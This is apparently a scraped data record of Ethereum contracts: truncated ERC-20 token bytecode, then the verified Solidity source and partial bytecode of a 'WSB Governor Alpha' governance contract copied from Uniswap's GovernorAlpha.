8152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d63565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612a515750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612bbd868686612e2f565b612c2884604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cbb846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612e1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612de1578082015181840152602081019050612dc6565b50505050905090810190601f168015612e0e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220704308e4ec92f6f7a4fd161887ebd351a1a3ccc953f7c25a7ff02b3573b2f37e64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
8,595
0x0fAA45C7671597E2ef286DB9AfE5BfDd0C55A2D1
/** *Submitted for verification at Etherscan.io on 2021-07-19 */ pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; contract GovernorAlpha { /// @notice The name of this contract string public constant name = "WSB Governor Alpha"; /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed function quorumVotes() public pure returns (uint) { return 40_000_000e18; } // 4% of Uni /// @notice The number of votes required in order for a voter to become a proposer function proposalThreshold() public pure returns (uint) { return 10_000_000e18; } // 1% of Uni /// @notice The maximum number of actions that can be included in a proposal function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions /// @notice The delay before voting on a proposal may take place, once proposed function votingDelay() public pure returns (uint) { return 1; } // 1 block /// @notice The duration of voting on a proposal, in blocks function votingPeriod() public pure returns (uint) { return 40_320; } // ~7 days in blocks (assuming 15s blocks) //function votingPeriod() public pure returns (uint) { return 720; } // ~1 day in blocks (assuming 15s blocks) /// @notice The address of the Uniswap Protocol Timelock TimelockInterface public timelock; /// @notice The address of the Uniswap governance token UniInterface public uni; /// @notice The total number of proposals uint public proposalCount; struct Proposal { /// @notice Unique id for looking up a proposal uint id; /// @notice Creator of the proposal address proposer; /// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds uint eta; /// @notice the ordered list of target addresses for calls to be made address[] targets; /// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint[] values; /// @notice The ordered list of function signatures to be called string[] signatures; /// @notice The ordered list of calldata to be passed to each call bytes[] calldatas; /// @notice The block at which voting begins: holders must delegate their votes prior to this block uint startBlock; /// @notice The block at which voting ends: votes must be cast prior to this block uint endBlock; /// @notice Current number of votes in favor of this proposal uint forVotes; /// @notice Current number of votes in opposition to this proposal uint againstVotes; /// @notice Flag marking whether the proposal has been canceled bool canceled; /// @notice Flag marking whether the proposal has been executed bool executed; /// @notice Receipts of ballots for the entire set of voters mapping (address => Receipt) receipts; } /// @notice Ballot receipt record for a voter struct Receipt { /// @notice Whether or not a vote has been cast bool hasVoted; /// @notice Whether or not the voter supports the proposal bool support; /// @notice The number of votes the voter had, which were cast uint96 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @notice The official record of all proposals ever proposed mapping (uint => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping (address => uint) public latestProposalIds; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @notice An event emitted when a new proposal is created event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description); /// @notice An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint proposalId, bool support, uint votes); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint id, uint eta); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint id); constructor(address timelock_, address uni_) public { timelock = TimelockInterface(timelock_); uni = UniInterface(uni_); } function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) { require(uni.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold"); require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch"); require(targets.length != 0, "GovernorAlpha::propose: must provide actions"); require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions"); uint latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal"); } uint startBlock = add256(block.number, votingDelay()); uint endBlock = add256(startBlock, votingPeriod()); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description); return newProposal.id; } function queue(uint proposalId) public { require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded"); Proposal storage proposal = proposals[proposalId]; uint eta = add256(block.timestamp, timelock.delay()); for (uint i = 0; i < proposal.targets.length; i++) { _queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal { require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta"); timelock.queueTransaction(target, value, signature, data, eta); } function execute(uint proposalId) public payable { require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalExecuted(proposalId); } function cancel(uint proposalId) public { ProposalState state = state(proposalId); require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal"); Proposal storage proposal = proposals[proposalId]; require(uni.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold"); proposal.canceled = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalCanceled(proposalId); } function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } function state(uint proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function castVote(uint proposalId, bool support) public { return _castVote(msg.sender, proposalId, support); } function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature"); return _castVote(signatory, proposalId, support); } function _castVote(address voter, uint proposalId, bool support) internal { require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted"); uint96 votes = uni.getPriorVotes(voter, proposal.startBlock); if (support) { proposal.forVotes = add256(proposal.forVotes, votes); } else { proposal.againstVotes = add256(proposal.againstVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; emit VoteCast(voter, proposalId, support, votes); } function add256(uint256 a, uint256 b) internal pure returns (uint) { uint c = a + b; require(c >= a, "addition overflow"); return c; } function sub256(uint256 a, uint256 b) internal pure returns (uint) { require(b <= a, "subtraction underflow"); return a - b; } function getChainId() internal pure returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } } interface TimelockInterface { function delay() external view returns (uint); function GRACE_PERIOD() external view returns (uint); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32); function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external; function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory); } interface UniInterface { function getPriorVotes(address account, uint blockNumber) external view returns (uint96); }
0x6080604052600436106101755760003560e01c80634634c61f116100cb578063da95691a1161007f578063e23a9a5211610059578063e23a9a52146103d0578063edc9af95146103fd578063fe0d94c11461041257610175565b8063da95691a1461037b578063ddf0b0091461039b578063deaaa7cc146103bb57610175565b8063b58131b0116100b0578063b58131b01461032f578063d33219b414610344578063da35c6641461036657610175565b80634634c61f146102fa5780637bdbe4d01461031a57610175565b806320606b701161012d5780633932abb1116101075780633932abb1146102985780633e4f49e6146102ad57806340e58ee5146102da57610175565b806320606b701461023e57806324bc1a6414610253578063328dd9821461026857610175565b806306fdde031161015e57806306fdde03146101da57806315373e3d146101fc57806317977c611461021e57610175565b8063013cf08b1461017a57806302a251a3146101b8575b600080fd5b34801561018657600080fd5b5061019a6101953660046125cf565b610425565b6040516101af99989796959493929190613628565b60405180910390f35b3480156101c457600080fd5b506101cd61048b565b6040516101af9190613395565b3480156101e657600080fd5b506101ef610492565b6040516101af9190613451565b34801561020857600080fd5b5061021c610217366004612627565b6104cb565b005b34801561022a57600080fd5b506101cd61023936600461244c565b6104da565b34801561024a57600080fd5b506101cd6104ec565b34801561025f57600080fd5b506101cd610503565b34801561027457600080fd5b506102886102833660046125cf565b610512565b6040516101af9493929190613348565b3480156102a457600080fd5b506101cd6107ea565b3480156102b957600080fd5b506102cd6102c83660046125cf565b6107ef565b6040516101af9190613443565b3480156102e657600080fd5b5061021c6102f53660046125cf565b6109ba565b34801561030657600080fd5b5061021c610315366004612657565b610c8c565b34801561032657600080fd5b506101cd610e6e565b34801561033b57600080fd5b506101cd610e73565b34801561035057600080fd5b50610359610e82565b6040516101af9190613435565b34801561037257600080fd5b506101cd610e9e565b34801561038757600080fd5b506101cd610396366004612472565b610ea4565b3480156103a757600080fd5b5061021c6103b63660046125cf565b6113b5565b3480156103c757600080fd5b506101cd6116ac565b3480156103dc57600080fd5b506103f06103eb3660046125ed565b6116b8565b6040516101af9190613572565b34801561040957600080fd5b50610359611739565b61021c6104203660046125cf565b611755565b6003602052600090815260409020805460018201546002830154600784015460088501546009860154600a870154600b90970154959673ffffffffffffffffffffffffffffffffffffffff90951695939492939192909160ff8082169161010090041689565b619d805b90565b6040518060400160405280601281526020017f57534220476f7665726e6f7220416c706861000000000000000000000000000081525081565b6104d6338383611989565b5050565b60046020526000908152604090205481565b6040516104f890613239565b604051809103902081565b6a211654585005212800000090565b606080606080600060036000878152602001908152602001600020905080600301816004018260050183600601838054806020026020016040519081016040528092919081815260200182805480156105a157602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff168152600190910190602001808311610576575b50505050509350828054806020026020016040519081016040528092919081815260200182805480156105f357602002820191906000526020600020905b8154815260200190600101908083116105df575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b828210156106e45760008481526020908190208301805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001871615020190941693909304928301859004850281018501909152818152928301828280156106d05780601f106106a5576101008083540402835291602001916106d0565b820191906000526020600020905b8154815290600101906020018083116106b357829003601f168201915b50505050508152602001906001019061061b565b50505050915080805480602002602001604051908101604052809291908181526020016000905b828210156107d45760008481526020908190208301805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001871615020190941693909304928301859004850281018501909152818152928301828280156107c05780601f10610795576101008083540402835291602001916107c0565b820191906000526020600020905b8154815290600101906020018083116107a357829003601f168201915b50505050508152602001906001019061070b565b5050505090509450945094509450509193509193565b600190565b600081600254101580156108035750600082115b610842576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613482565b60405180910390fd5b6000828152600360205260409020600b81015460ff16156108675760029150506109b5565b8060070154431161087c5760009150506109b5565b806008015443116108915760019150506109b5565b80600a015481600901541115806108b257506108ab610503565b8160090154105b156108c15760039150506109b5565b60028101546108d45760049150506109b5565b600b810154610100900460ff16156108f05760079150506109b5565b6002810154600054604080517fc1a287e2000000000000000000000000000000000000000000000000000000008152905161099f939273ffffffffffffffffffffffffffffffffffffffff169163c1a287e2916004808301926020929190829003018186803b15801561096257600080fd5b505afa158015610976573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061099a919081019061257c565b611c14565b42106109af5760069150506109b5565b60059150505b919050565b60006109c5826107ef565b905060078160078111156109d557fe5b1415610a0d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613542565b6000828152600360205260409020610a23610e73565b600180548382015473ffffffffffffffffffffffffffffffffffffffff9182169263782d6fe19290911690610a59904390611c5a565b6040518363ffffffff1660e01b8152600401610a7692919061326a565b60206040518083038186803b158015610a8e57600080fd5b505afa158015610aa2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610ac691908101906126bf565b6bffffffffffffffffffffffff1610610b0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610839906134e2565b600b810180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600117905560005b6003820154811015610c4f5760005460038301805473ffffffffffffffffffffffffffffffffffffffff9092169163591fcdfe919084908110610b7a57fe5b60009182526020909120015460048501805473ffffffffffffffffffffffffffffffffffffffff9092169185908110610baf57fe5b9060005260206000200154856005018581548110610bc957fe5b90600052602060002001866006018681548110610be257fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610c11959493929190613307565b600060405180830381600087803b158015610c2b57600080fd5b505af1158015610c3f573d6000803e3d6000fd5b505060019092019150610b3b9050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610c7f9190613395565b60405180910390a1505050565b6000604051610c9a90613239565b60408051918290038220828201909152601282527f57534220476f7665726e6f7220416c70686100000000000000000000000000006020909201919091527f1af2ea6f4b82f18c28c5c28037622858cdcd5053a01c337d9ab0d14969e022f2610d01611c9c565b30604051602001610d1594939291906133a3565b6040516020818303038152906040528051906020012090506000604051610d3b90613244565b604051908190038120610d5491899089906020016133d8565b60405160208183030381529060405280519060200120905060008282604051602001610d81929190613208565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610dbe9493929190613400565b6020604051602081039080840390855afa158015610de0573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff8116610e58576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613522565b610e63818a8a611989565b505050505050505050565b600a90565b6a084595161401484a00000090565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b6000610eae610e73565b6001805473ffffffffffffffffffffffffffffffffffffffff169063782d6fe1903390610edc904390611c5a565b6040518363ffffffff1660e01b8152600401610ef992919061324f565b60206040518083038186803b158015610f1157600080fd5b505afa158015610f25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610f4991908101906126bf565b6bffffffffffffffffffffffff1611610f8e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613512565b84518651148015610fa0575083518651145b8015610fad575082518651145b610fe3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610839906134d2565b855161101b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613502565b611023610e6e565b8651111561105d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610839906134b2565b33600090815260046020526040902054801561110e57600061107e826107ef565b9050600181600781111561108e57fe5b14156110c6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613532565b60008160078111156110d457fe5b141561110c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610839906134a2565b505b600061111c4361099a6107ea565b9050600061112c8261099a61048b565b600280546001019055905061113f611e4c565b604051806101a0016040528060025481526020013373ffffffffffffffffffffffffffffffffffffffff168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060036000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604082015181600201556060820151816003019080519060200190611249929190611ece565b5060808201518051611265916004840191602090910190611f58565b5060a08201518051611281916005840191602090910190611f9f565b5060c0820151805161129d916006840191602090910190611ff8565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff021916908315150217905550905050806000015160046000836020015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e60405161139d99989796959493929190613580565b60405180910390a15193505050505b95945050505050565b60046113c0826107ef565b60078111156113cb57fe5b14611402576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613462565b6000818152600360209081526040808320835482517f6a42b8f8000000000000000000000000000000000000000000000000000000008152925191949361148193429373ffffffffffffffffffffffffffffffffffffffff90931692636a42b8f892600480840193919291829003018186803b15801561096257600080fd5b905060005b60038301548110156116725761166a8360030182815481106114a457fe5b60009182526020909120015460048501805473ffffffffffffffffffffffffffffffffffffffff90921691849081106114d957fe5b90600052602060002001548560050184815481106114f357fe5b600091825260209182902001805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61010060018716150201909416939093049283018590048502810185019091528181529283018282801561159f5780601f106115745761010080835404028352916020019161159f565b820191906000526020600020905b81548152906001019060200180831161158257829003601f168201915b50505050508660060185815481106115b357fe5b600091825260209182902001805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61010060018716150201909416939093049283018590048502810185019091528181529283018282801561165f5780601f106116345761010080835404028352916020019161165f565b820191906000526020600020905b81548152906001019060200180831161164257829003601f168201915b505050505086611ca0565b600101611486565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610c7f90859084906136ae565b6040516104f890613244565b6116c0612051565b50600082815260036020908152604080832073ffffffffffffffffffffffffffffffffffffffff85168452600c018252918290208251606081018452905460ff80821615158352610100820416151592820192909252620100009091046bffffffffffffffffffffffff16918101919091525b92915050565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b6005611760826107ef565b600781111561176b57fe5b146117a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613472565b6000818152600360205260408120600b810180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff16610100179055905b600382015481101561194d5760005460048301805473ffffffffffffffffffffffffffffffffffffffff90921691630825f38f91908490811061181f57fe5b906000526020600020015484600301848154811061183957fe5b60009182526020909120015460048601805473ffffffffffffffffffffffffffffffffffffffff909216918690811061186e57fe5b906000526020600020015486600501868154811061188857fe5b906000526020600020018760060187815481106118a157fe5b9060005260206000200188600201546040518763ffffffff1660e01b81526004016118d0959493929190613307565b6000604051808303818588803b1580156118e957600080fd5b505af11580156118fd573d6000803e3d6000fd5b50505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201604052611944919081019061259a565b506001016117e0565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f8260405161197d9190613395565b60405180910390a15050565b6001611994836107ef565b600781111561199f57fe5b146119d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613552565b600082815260036020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168452600c8101909252909120805460ff1615611a46576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613492565b60015460078301546040517f782d6fe100000000000000000000000000000000000000000000000000000000815260009273ffffffffffffffffffffffffffffffffffffffff169163782d6fe191611aa2918a9160040161326a565b60206040518083038186803b158015611aba57600080fd5b505afa158015611ace573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611af291908101906126bf565b90508315611b2057611b168360090154826bffffffffffffffffffffffff16611c14565b6009840155611b42565b611b3c83600a0154826bffffffffffffffffffffffff16611c14565b600a8401555b815460017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00909116177fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff1661010085151502177fffffffffffffffffffffffffffffffffffff000000000000000000000000ffff16620100006bffffffffffffffffffffffff8316021782556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611c04908890889088908690613278565b60405180910390a1505050505050565b600082820183811015611c53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610839906134c2565b9392505050565b600082821115611c96576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613562565b50900390565b4690565b60005460405173ffffffffffffffffffffffffffffffffffffffff9091169063f2b0653790611cdb90889088908890889088906020016132ad565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611d0d9190613395565b60206040518083038186803b158015611d2557600080fd5b505afa158015611d39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611d5d919081019061255e565b15611d94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610839906134f2565b6000546040517f3a66f90100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911690633a66f90190611df290889088908890889088906004016132ad565b602060405180830381600087803b158015611e0c57600080fd5b505af1158015611e20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611e44919081019061257c565b505050505050565b604051806101a0016040528060008152602001600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215611f48579160200282015b82811115611f4857825182547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff909116178255602090920191600190910190611eee565b50611f54929150612071565b5090565b828054828255906000526020600020908101928215611f93579160200282015b82811115611f93578251825591602001919060010190611f78565b50611f549291506120ad565b828054828255906000526020600020908101928215611fec579160200282015b82811115611fec5782518051611fdc9184916020909101906120c7565b5091602001919060010190611fbf565b50611f54929150612134565b828054828255906000526020600020908101928215612045579160200282015b8281111561204557825180516120359184916020909101906120c7565b5091602001919060010190612018565b50611f54929150612157565b604080516060810182526000808252602082018190529181019190915290565b61048f91905b80821115611f545780547fffffffffffffffffffffffff0000000000000000000000000000000000000000168155600101612077565b61048f91905b80821115611f5457600081556001016120b3565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061210857805160ff1916838001178555611f93565b82800160010185558215611f935791820182811115611f93578251825591602001919060010190611f78565b61048f91905b80821115611f5457600061214e828261217a565b5060010161213a565b61048f91905b80821115611f54576000612171828261217a565b5060010161215d565b50805460018160011615610100020316600290046000825580601f106121a057506121be565b601f0160209004906000526020600020908101906121be91906120ad565b50565b803561173381613845565b600082601f8301126121dd57600080fd5b81356121f06121eb826136e3565b6136bc565b9150818183526020840193506020810190508385602084028201111561221557600080fd5b60005b83811015612241578161222b88826121c1565b8452506020928301929190910190600101612218565b5050505092915050565b600082601f83011261225c57600080fd5b813561226a6121eb826136e3565b81815260209384019390925082018360005b83811015612241578135860161229288826123a1565b845250602092830192919091019060010161227c565b600082601f8301126122b957600080fd5b81356122c76121eb826136e3565b81815260209384019390925082018360005b8381101561224157813586016122ef88826123a1565b84525060209283019291909101906001016122d9565b600082601f83011261231657600080fd5b81356123246121eb826136e3565b9150818183526020840193506020810190508385602084028201111561234957600080fd5b60005b83811015612241578161235f888261238b565b845250602092830192919091019060010161234c565b803561173381613859565b805161173381613859565b803561173381613862565b805161173381613862565b600082601f8301126123b257600080fd5b81356123c06121eb82613704565b915080825260208301602083018583830111156123dc57600080fd5b6123e78382846137db565b50505092915050565b600082601f83011261240157600080fd5b815161240f6121eb82613704565b9150808252602083016020830185838301111561242b57600080fd5b6123e78382846137e7565b80356117338161386b565b805161173381613874565b60006020828403121561245e57600080fd5b600061246a84846121c1565b949350505050565b600080600080600060a0868803121561248a57600080fd5b853567ffffffffffffffff8111156124a157600080fd5b6124ad888289016121cc565b955050602086013567ffffffffffffffff8111156124ca57600080fd5b6124d688828901612305565b945050604086013567ffffffffffffffff8111156124f357600080fd5b6124ff888289016122a8565b935050606086013567ffffffffffffffff81111561251c57600080fd5b6125288882890161224b565b925050608086013567ffffffffffffffff81111561254557600080fd5b612551888289016123a1565b9150509295509295909350565b60006020828403121561257057600080fd5b600061246a8484612380565b60006020828403121561258e57600080fd5b600061246a8484612396565b6000602082840312156125ac57600080fd5b815167ffffffffffffffff8111156125c357600080fd5b61246a848285016123f0565b6000602082840312156125e157600080fd5b600061246a848461238b565b6000806040838503121561260057600080fd5b600061260c858561238b565b925050602061261d858286016121c1565b9150509250929050565b6000806040838503121561263a57600080fd5b6000612646858561238b565b925050602061261d85828601612375565b600080600080600060a0868803121561266f57600080fd5b600061267b888861238b565b955050602061268c88828901612375565b945050604061269d88828901612436565b93505060606126ae8882890161238b565b92505060806125518882890161238b565b6000602082840312156126d157600080fd5b600061246a8484612441565b60006126e98383612718565b505060200190565b6000611c5383836128ba565b60006126e983836128a0565b612712816137b3565b82525050565b61271281613769565b600061272c8261375c565b6127368185613760565b93506127418361374a565b8060005b8381101561276f57815161275988826126dd565b97506127648361374a565b925050600101612745565b509495945050505050565b60006127858261375c565b61278f8185613760565b9350836020820285016127a18561374a565b8060005b858110156127db57848403895281516127be85826126f1565b94506127c98361374a565b60209a909a01999250506001016127a5565b5091979650505050505050565b60006127f38261375c565b6127fd8185613760565b93508360208202850161280f8561374a565b8060005b858110156127db578484038952815161282c85826126f1565b94506128378361374a565b60209a909a0199925050600101612813565b60006128548261375c565b61285e8185613760565b93506128698361374a565b8060005b8381101561276f57815161288188826126fd565b975061288c8361374a565b92505060010161286d565b61271281613774565b61271